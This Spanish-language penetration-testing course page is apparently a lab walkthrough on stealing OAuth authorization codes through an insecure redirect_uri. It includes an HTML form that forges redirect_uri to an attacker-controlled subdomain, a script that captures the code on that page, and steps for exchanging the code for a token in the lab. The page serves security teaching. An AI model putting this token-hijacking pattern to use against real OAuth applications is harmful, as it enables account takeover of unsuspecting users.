XUT_ / COURSES / PENETRATION TESTER

Exploiting OAuth - Stealing OAuth Token

Los tokens juegan un rol crítico en el framework OAuth 2.0, actuando como claves digitales que otorgan acceso a recursos protegidos. Estos tokens son emitidos por el servidor de autorización y redirigidos a la aplicación del cliente basándose en el parámetro redirect_uri. Esta redirección es crucial en el flujo OAuth, asegurando que los tokens se transmiten de forma segura al receptor. Sin embargo, si el redirect_uri no está bien protegido, los atacantes pueden explotarlo para secuestrar tokens.


Rol de Redirect_URI

El parámetro redirect_uri se especifica durante el flujo OAuth para redirigir el token desde el servidor de autorización, después de que la autorización se lleve a cabo. Esta URI debe estar preregistrada en los ajustes de la aplicación para prevenir vulnerabilidades de redirección abierta. Durante el proceso OAuth, el servidor comprueba que la redirect_uri proporcionada coincide con una de las registradas.


Vulnerability

Una redirect_uri insegura puede llevar a problemas severos de seguridad. Si los atacantes ganan control sobre cualquier dominio o URI listada en redirect_uri, pueden manipular el flujo para interceptar los tokens. Aquí se muestra cómo debería ser explotado:

  • Considera una aplicación OAuth con las siguientes URIs de redirección registradas: Exploiting OAuth - Stealing OAuth Token
  • Estrategia del Atacante: Si un atacante gana control sobre dev.bistro.thm, pueden explotar el flujo OAuth. Configurando la redirect_uri a http://dev.bistro.thm/callback, el servidor de autorización mandará el token a este dominio controlado por él.
  • Ataque Construido: El atacante inicia un flujo OAuth y asegura que redirect_uri apunta a su dominio controlado. Después de que el usuario autorice a la aplicación, el token es mandado a http://dev.bistro.thm/callback. El atacante puede ahora capturar este token y usarlo para acceder a recursos protegidos.

Preparando el Payload (Prespectiva del Atacante)

CAUTION

Antes de empezar el ejercicio, asegúrate de que tienes la sesión de la víctima cerrada visitando http://coffee.thm:8000/admin/logout.

Para este ejercicio asumimos que el atacante ha comprometido el dominio dev.bistro.thm:8002 y puede hostear cualquier página HTML en el servidor. Considera a Tom, una víctima a la cual se le mandará el link. El atacante puede construir una página HTML simple (redirect_uri.html) con el siguiente código:

html
<form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get">
    <input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/malicious_redirect.html">
    <input type="submit" value="Hijack OAuth">
</form>

Este formulario manda un parámetro escondido redirect_uri con el valor http://dev.bistro.thm:8002/malicious_redirect.html y subir la petición a http://coffee.thm:8000/oauthdemo/oauth_login/. La página malicious_redirect.html interceptaría el código de autorización de la URL usando el siguiente código:

html
<script>
    // Extract the authorization code from the URL
    const urlParams = new URLSearchParams(window.location.search);
    const code = urlParams.get('code');
    document.getElementById('auth_code').innerText = code;
    console.log("Intercepted Authorization Code:", code);
    // code to save the acquired code in database/file etc
</script>
NOTE

Como el atacante tiene control total del subdominio, una vez que redirige a una víctima, guardará las credenciales en una base de datos/archivo para usarlo después.

El atacante puede mandarle a Tom el link (http://dev.bistro.thm:8002/redirect_uri.html) mediante ingeniería social o CSRF. La víctima, inocente, hace click en el link, lo que lo lleva a dev.bistro.thm:8002/redirect_uri.html.

Abre dicho link en la máquina virtual como "víctima". Verás esto:

Exploiting OAuth - Stealing OAuth Token

Cuando la víctima hace click en "Login via OAuth", el formulario llama a http://coffee.thm:8000/oauthdemo/oauth_login/ pero con una redirect_uri falsificada. Una vez que la víctima introduce sus credenciales (victim:victim123) en el proveedor de OAuth, redirige el código de autorización OAuth a la URL (http://dev.bistro.thm:8002/malicious_redirect.html) controlada por el atacante, permitiéndole interceptar y usar para sus fines el código de autorización.

Exploiting OAuth - Stealing OAuth Token


Perspectiva del Atacante

Desde la máquina del atacante, pueden utilizar el código de autorización interceptada para llamar al endpoint /callback e intercambiarlo por un token válido. Con este token, el atacante gana acceso no autorizado a los recursos protegidos del usuario. Para obtener este token, visita la URL http://bistro.thm:8000/oauthdemo/callbackforflag/?code=xxxx y reemplaza code por el código adquirido.

Exploiting OAuth - Stealing OAuth Token